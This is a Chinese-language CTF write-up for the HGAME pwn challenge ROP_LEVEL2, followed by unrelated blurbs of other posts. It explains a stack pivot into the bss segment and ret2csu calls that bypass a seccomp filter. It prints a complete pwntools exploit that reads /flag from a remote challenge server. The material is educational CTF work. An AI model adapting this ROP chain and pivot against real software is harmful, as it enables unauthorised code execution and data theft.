花了好多天,终于把这个题彻底弄懂了。。。自己太菜了

    下载文件,首先checksec检查一下保护。

  只开启了堆栈不可执行,接下来拖到IDA看一下C的伪代码。

    大致先让你输入,然后再次让你输入。

  第一次输入的话,会将输入的数据保存到bss段,第二次是向栈中输入数据,并且可以溢出。经过计算,正好可以溢出到覆盖rbp和返回地址。也就是我们构造的ROP链不能太长,这里就需要我们进行一步栈转移,将栈转移到bss段。

  如果栈转移呢?就是再覆盖rbp的时候我们需要将rbp覆盖成我们的假的rbp,然后执行leavel ret这样就我们就可以将栈转移过去,并且可以执行转移过去的命令。当然这里是要转移到bss段,因为bss段的数据我们是可控制的,可以执行我们的命令。

  还有就是这个题目,开启了seccomp,这是一种保护,开了这种保护除了白名单上面的函数,我们只能调用open、write、read函数,不能直接拿到shell,不过我们的目的就是拿到flag,已知flag在同目录下的/flag,这样我们就只能用这几个函数来获得flag了。

  在这里我们采用csu的方法给寄存器赋值来调用这几个函数。所以先payload这样构造。

1 payload = '/flag\x00\x00\x00' # r12->call r13->rdx r14->rsi r15->rdi
2 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ 'a'*0x8 + p64(0) + p64(1) + 'a'*0x20
3
4 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+'a'*0x38
5
6 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)

  第一行的payload,目的是为了输入open的参数,并且可以正好给rsp留位置占位。

  第二行,调用csu,给open加参数,相当于执行了open(“/flag”,0,0)

  第三行,在第二行的末尾覆盖的时候,我们已经又给rbp和rbx赋值了,这样我们第二次调用csu的时候就不用再次赋值了,这样可以减少rop链的长度。第三行相当于执行了read(4,flag_addr,0x20),至于那个4是怎么来的,大佬说这个叫流,是堆里的内容,暂时不要我懂。。。反正就是把open的读取到的数据写到flag_addr了。

  最后一行就很清楚了,利用puts函数输出flag。

完整的exp:

 1 from pwn import *
2 import time
3
4 #p = process('./ROP_LEVEL2')
5 p = remote('47.103.214.163',20300)
6 elf = ELF('ROP_LEVEL2')
7 context.log_level = 'debug'
8
9 csu_end = 0x0400A3A
10 csu_front = 0x0400A20
11 puts_plt = elf.plt['puts']
12
13 flag_addr = elf.bss() + 0x200
14 buf_addr = 0x06010A0
15 open_got = elf.got['open']
16 read_got = elf.got['read']
17 pop_rdi = 0x0400a43
18
19 payload = '/flag\x00\x00\x00' # r12->call r13->rdx r14->rsi r15->rdi
20 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ 'a'*0x8 + p64(0) + p64(1) + 'a'*0x20
21 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+'a'*0x38
22 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)
23
24 p.recvuntil('so?\n')
25 p.send(payload)
26
27 sleep(1)
28 leave_addr = 0x040090d
29 payload1 = 'U'*0x50 + p64(buf_addr) + p64(leave_addr)
30 p.recvuntil('flag\n\n')
31 p.sendline(payload1)
32 p.recv()
33 p.close()

运行一下,拿到flag!

HGAME pwn ROP_LEVEL2的更多相关文章

  1. HGAME2021 week4 pwn writeup

    第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...

  2. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  3. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  4. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  5. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  6. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  7. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  8. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  9. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

随机推荐

  1. [atAGC043B]123 Triangle

    不妨先操作一轮,使得$0\le a_{i}\le 2$ 结论:若序列中存在1,则答案为0或1 考虑归纳,注意到若序列中存在1,除非所有元素均为1,否则操作一轮后必然仍存在1,那么根据归纳假设即成立,而 ...

  2. [loj2049]网络

    考虑整体二分,假设二分到区间$[l,r]$,即要对若干个询问,判断这些询问的答案与$mid=\lfloor\frac{l+r}{2}\rfloor$的关系 根据题意,答案$\le mid$等价于重要度 ...

  3. [atARC061F]Card Game for Three

    记录每一次操作的玩家为操作序列(去掉第一次),需要满足:$a$的个数为$n$且以$a$为结尾,$b$和$c$的个数分别不超过$m$和$k$ 其所对应的概率:每一个字符恰好确定一张卡牌,因此即$3^{n ...

  4. [loj3277]星座3

    如果不合法,利用贪心发现当且仅当某两个星星所构成的矩形中没有白点 反过来,考虑留下若干个星星,那么即要求留下的星星两两之间满足:$\max_{x_{1}\le i\le x_{2}}a_{i}\ge ...

  5. LOJ 2353 & 洛谷 P4027 [NOI2007]货币兑换(CDQ 分治维护斜率优化)

    题目传送门 纪念一下第一道(?)自己 yy 出来的 NOI 题. 考虑 dp,\(dp[i]\) 表示到第 \(i\) 天最多有多少钱. 那么有 \(dp[i]=\max\{\max\limits_{ ...

  6. 洛谷 P4663 - [BalticOI 2008]魔法石(dp)

    题面传送门 A:我该是有多无聊来写这种题的题解啊 B:大概是因为这题题解区里没有题解所以我来写一篇了,说明我有高尚的济世情怀(大雾 跑题了跑题了 首先看到字典序第 \(i\) 小小可以自然地想到按位决 ...

  7. 洛谷 P3266 - [JLOI2015]骗我呢(容斥原理+组合数学)

    题面传送门 神仙题. 首先乍一看此题非常棘手,不过注意到有一个条件 \(0\le x_{i,j}\le m\),而整个矩阵恰好有 \(m\) 列,这就启发我们考虑将每个元素的上下界求出来,如果我们第一 ...

  8. Linux系统的开机启动顺序

    Linux系统的开机启动顺序加载BIOS–>读取MBR–>Boot Loader–>加载内核–>用户层init一句inittab文件来设定系统运行的等级(一般3或者5,3是多用 ...

  9. linux—查看所有的账号以及管理账号

    用过Linux系统的人都知道,Linux系统查看用户不是会Windows那样,鼠标右键看我的电脑属性,然后看计算机用户和组即可. 那么Linux操作系统里查看所有用户该怎么办呢?用命令.其实用命令就能 ...

  10. nginx 的一个conf配置

    server { listen 80 default_server; server_name www.caipudq.cn caipudq.cn *.caipudq.cn; root /mnt/www ...